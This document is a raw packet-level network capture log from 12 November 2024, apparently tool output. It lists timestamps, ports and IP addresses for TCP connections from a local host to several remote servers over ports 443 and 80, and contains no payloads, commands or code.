Nov 12, 2024 15:42:03.177649975 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.178054094 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.178078890 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.178491116 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.178495884 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.298791885 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.298922062 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.298999071 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.299189091 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.299206972 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.299217939 CET	49775	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.299223900 CET	443	49775	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.302458048 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.302500963 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.302594900 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.302730083 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.302736044 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.303618908 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.303689003 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.303755999 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.303848028 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.303853035 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.303860903 CET	49773	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.303864956 CET	443	49773	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.306071997 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.306142092 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.306233883 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.306397915 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.306428909 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.307229996 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.307276011 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.307329893 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.307431936 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.307449102 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.307459116 CET	49774	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.307463884 CET	443	49774	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.309264898 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.309294939 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:03.309364080 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.309489965 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:03.309503078 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.034584045 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.035919905 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.035948992 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.036525011 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.036530972 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.043946028 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.044327021 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.044334888 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.044759035 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.044780016 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.052150965 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.052476883 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.052510023 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.052874088 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.052880049 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.166002035 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.166277885 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.166342974 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.166399002 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.166414976 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.166424990 CET	49776	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.166430950 CET	443	49776	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.169367075 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.169406891 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.169486046 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.169625998 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.169637918 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.172753096 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.173094988 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.173157930 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.173173904 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.173183918 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.173192024 CET	49778	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.173194885 CET	443	49778	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.175252914 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.175291061 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.175358057 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.175483942 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.175497055 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.182912111 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.183121920 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.183168888 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.183199883 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.183209896 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.183221102 CET	49777	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.183224916 CET	443	49777	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.185148954 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.185178041 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.185237885 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.185342073 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.185353994 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.380587101 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:04.385677099 CET	80	49782	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:04.385780096 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:04.390080929 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:04.691555977 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:04.832068920 CET	80	49782	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:04.832089901 CET	80	49782	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:04.957431078 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.957957029 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.957973003 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.958421946 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.958435059 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.962275982 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.962322950 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.962639093 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.962655067 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.962872028 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.962898970 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.963069916 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.963078976 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:04.963411093 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:04.963417053 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.087474108 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.087805033 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.087896109 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.087930918 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.087930918 CET	49781	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.087950945 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.087960005 CET	443	49781	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.090986967 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091231108 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091327906 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091453075 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091469049 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091476917 CET	49780	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091481924 CET	443	49780	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091516972 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091552019 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091598034 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091674089 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091815948 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091829062 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091831923 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091883898 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091952085 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091976881 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.091986895 CET	49779	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.091995001 CET	443	49779	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.093828917 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.093879938 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.093950033 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.093985081 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.094012976 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.094042063 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.094083071 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.094090939 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.094199896 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.094213963 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.294802904 CET	80	49782	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:05.294929028 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:05.821074963 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.821732044 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.821762085 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.822236061 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.822240114 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.827152967 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.827423096 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.827450991 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.827785015 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.827791929 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.949153900 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.949292898 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.949341059 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.949542046 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.949565887 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.949578047 CET	49784	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.949583054 CET	443	49784	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.953156948 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.953190088 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.953241110 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.953427076 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.953439951 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.957673073 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.957786083 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.957832098 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.957910061 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.957927942 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.957936049 CET	49785	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.957941055 CET	443	49785	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.959985971 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.960006952 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:05.960067987 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.960186005 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:05.960201025 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.701121092 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.701642990 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.701674938 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.702120066 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.702126026 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.702142000 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.702475071 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.702498913 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.702874899 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.702879906 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.801639080 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:06.801990986 CET	49788	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:06.806853056 CET	80	49788	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:06.806955099 CET	49788	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:06.807003975 CET	80	49782	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:06.807053089 CET	49782	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:06.807251930 CET	49788	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:06.812021017 CET	80	49788	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:06.831738949 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.831847906 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.831917048 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.832086086 CET	49787	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.832102060 CET	443	49787	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.834321022 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.834415913 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.834476948 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.834539890 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.834558964 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.834570885 CET	49786	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.834575891 CET	443	49786	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.835025072 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.835067034 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.835138083 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.835341930 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.835355997 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.836549997 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.836575031 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.836644888 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.836755991 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.836766958 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.868369102 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.868931055 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.868956089 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:06.869393110 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:06.869399071 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.002213001 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.002293110 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.002341032 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.002548933 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.002572060 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.002587080 CET	49783	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.002593994 CET	443	49783	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.005654097 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.005675077 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.005731106 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.006187916 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.006201029 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.566288948 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.567065001 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.567096949 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.567564964 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.567569971 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.580796957 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.581244946 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.581262112 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.581634045 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.581638098 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.696243048 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.696516037 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.696573019 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.696608067 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.696625948 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.696638107 CET	49789	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.696643114 CET	443	49789	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.699258089 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.699294090 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.699367046 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.699502945 CET	49792	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.699516058 CET	443	49792	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.712835073 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.712891102 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.712940931 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.713196039 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.713207006 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.713222027 CET	49790	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.713227034 CET	443	49790	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.715764046 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.715809107 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.715871096 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.715996027 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.716011047 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.729624033 CET	80	49788	185.215.113.43	192.168.2.4
Nov 12, 2024 15:42:07.729677916 CET	49788	80	192.168.2.4	185.215.113.43
Nov 12, 2024 15:42:07.732500076 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:07.737548113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:07.737607956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:07.737766981 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:07.739414930 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.739892006 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.739905119 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.740449905 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:07.740454912 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:07.742609978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.258081913 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.258305073 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.258378029 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.258455992 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.258471012 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.258479118 CET	49791	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.258486032 CET	443	49791	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.261411905 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.261478901 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.261560917 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.261732101 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.261744976 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.460258007 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.460788965 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.460829973 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.461271048 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.461277008 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.591221094 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.591331959 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.591404915 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.591619968 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.591639996 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.591650009 CET	49793	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.591655016 CET	443	49793	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.594840050 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.594888926 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.594983101 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.595189095 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.595202923 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.633552074 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.633655071 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.633667946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.633708954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.633884907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.633913040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.633924961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.633929014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.633955002 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.633965015 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.633995056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.634007931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.634018898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.634032965 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.634036064 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.634046078 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.634047985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.634069920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.634097099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.638545036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.638597012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.638628960 CET	49794	80	192.168.2.4	185.215.113.16
